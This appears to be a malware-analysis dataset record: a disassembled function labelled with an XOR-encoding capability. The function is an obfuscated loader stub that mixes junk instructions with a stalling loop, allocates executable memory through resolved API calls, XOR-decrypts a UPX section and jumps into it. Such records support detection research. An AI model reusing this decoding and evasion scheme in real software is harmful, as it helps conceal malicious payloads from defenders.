Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9cf37a2b
sub edi, 0x861a73d2
add esi, 0xd70bfb56
popal
or edi, esi
add edi, edi
add esi, edi
mov ebx, 0
mov ecx, edx
sub edi, 0x7b43607a
and esi, edi
sub esi, 1
mov eax, ecx
sub esi, edi
mov edi, esi
mov edx, eax
mov edi, esi
dec edi
dec esi
inc ebx
sub esi, 1
mov esi, 0xfa3a4b3c
or esi, esi
cmp ebx, 0x100cccb
jne 0xa789ca
sub edi, esi
or esi, esi
add esi, edi
mov edi, esi
mov ebx, 0xa78796
add edx, 0x7dfee7e5
or edi, eax
mov ecx, 0xa7898a
inc edi
inc eax
or edi, eax
mov esi, dword [ebx]
inc edx
and eax, edx
mov edi, eax
and esi, 0xff
add edi, edi
mov edi, 0xc5466ace
xor dword [ecx], esi
inc eax
sub edi, eax
add edi, edi
add ecx, 1
sub eax, 1
add edx, 1
inc ebx
sub eax, edi
not edx
sub edx, eax
cmp ecx, entry0
jl 0xa78a1e
or eax, edx
and eax, eax
dec edx
add edi, 0x15f8d6fc
dec eax
sub edi, 0xdcbe3298
add ecx, 1
mov edx, 0x627bfcfd
mov ebx, 0xa7898e
add edi, 0xcb1157f5
and edx, edi
mov ebx, dword [ebx]
inc edx
inc edi
mov ebx, dword [ebx]
not edx
add edi, 0x51339d20
push ebx
or edx, ecx
mov edi, edx
sub esi, 0xf5ac0f8d
mov ebx, 0xa7898a
mov edx, 0xa2e4ce0
add esi, edi
mov ebx, dword [ebx]
inc esi
and edx, edi
mov ebx, dword [ebx]
mov esi, edi
or esi, edx
push 0xa78992
mov esi, ecx
sub edx, esi
call ebx
sub esi, edx
sub ecx, 0x8d52470
mov ecx, esi
pop ebx
not edi
mov esi, 0x99795c50
add esi, esi
push 0xa7899f
add edi, ecx
mov edx, edi
mov ecx, 0xc95aa513
sub esp, 4
mov dword [esp], eax
mov edx, 0x82e5957d
and esi, esi
call ebx
not edi
sub edi, 0x177e7aed
mov edi, 0x124d12cd
push 0x40
sub edi, 0x5ae5ebee
sub esi, 0x65f34c70
and edi, ecx
push 0x3000
inc edi
mov edx, 0xc0ef47a8
or esi, ecx
push 0x20000a5f
mov edi, 0x83e2a06d
mov edx, 0x33a7af84
push 0
and ecx, ecx
add esi, edx
and edi, esi
call eax
and edx, esi
mov edx, 0x99eb56d3
not esi
add eax, 0x200009a4
dec esi
sub ecx, 0x8a6facc3
mov ebx, 0x946b4acc
mov ecx, esi
add esi, 0x8562284b
mov dword [eax], ebx
and edx, edx
add ecx, 0x5dbd73d9
add esi, 0xe9c17818
mov ebx, dword [eax]
add ecx, 0x7523685a
or ecx, esi
inc edx
cmp ebx, 0x946b4acc
je 0xa78b8a
mov ecx, 0
mov dword [ecx], ebx
dec edx
sub ecx, 0x9771497f
add esi, 0x74e93922
mov esi, edx
add ecx, edx
and ecx, edi
mov edi, esi
mov esi, edi
mov ebx, section.UPX1
sub edi, esi
not edi
mov edx, 0xa78795
sub esi, 0x2be719fd
sub edi, 1
mov ecx, 0
mov edi, 0xfd5f82e8
and esi, esi
dec esi
mov eax, 0xa78796
dec edi
mov edi, 0x424312e9
lea eax, [eax + ecx]
add esi, 0xd40192b0
mov esi, edi
sub esi, 0xc6a78b17
mov eax, dword [eax]
mov esi, 0x8802f994
add edi, 1
dec edi
and eax, 0xff
or esi, edi
and edi, edi
add ecx, 1
mov edi, 0xab65300c
and esi, esi
cmp ecx, 0x1f4
jne 0xa78c16
mov ecx, 0
or edi, edi
sub edi, 0xbd6ab621
dec esi
not edi
xor dword [ebx], eax
mov edi, 0xfe4049c5
not edi
mov esi, edi
add ebx, 2
not edi
sub esi, edi
sub esi, 0x1303ee5e
cmp ebx, edx
jl 0xa78bc8
mov edi, 0x8a774eae
mov edi, esi
sub esi, edi
sub esi, 0xec147211
sub esi, 1
sub edi, esi
mov esi, section.UPX1
add eax, 0xa181ee2
or ebx, eax
sub ebx, 0x6965844b
mov ecx, section.UPX1
dec ebx
sub eax, ebx
and eax, eax
mov edi, 0xa78795
or eax, eax
not eax
inc eax
mov edx, 0
or ebx, ebx
and ebx, eax
add ebx, 1
mov dl, byte [ecx]
sub eax, 0xc9c39581
sub ebx, 0xac85966
mov byte [esi], dl
sub ebx, eax
inc eax
sub ebx, eax
add esi, 1
inc ebx
and ebx, eax
add ecx, 2
sub ebx, eax
and ebx, ebx
cmp ecx, edi
jle 0xa78c91
mov ebx, eax
add ebx, 0x5cdb491a
inc esi
dec edi
push 0x8dc6a0
and edi, edi
not edi
not esi
ret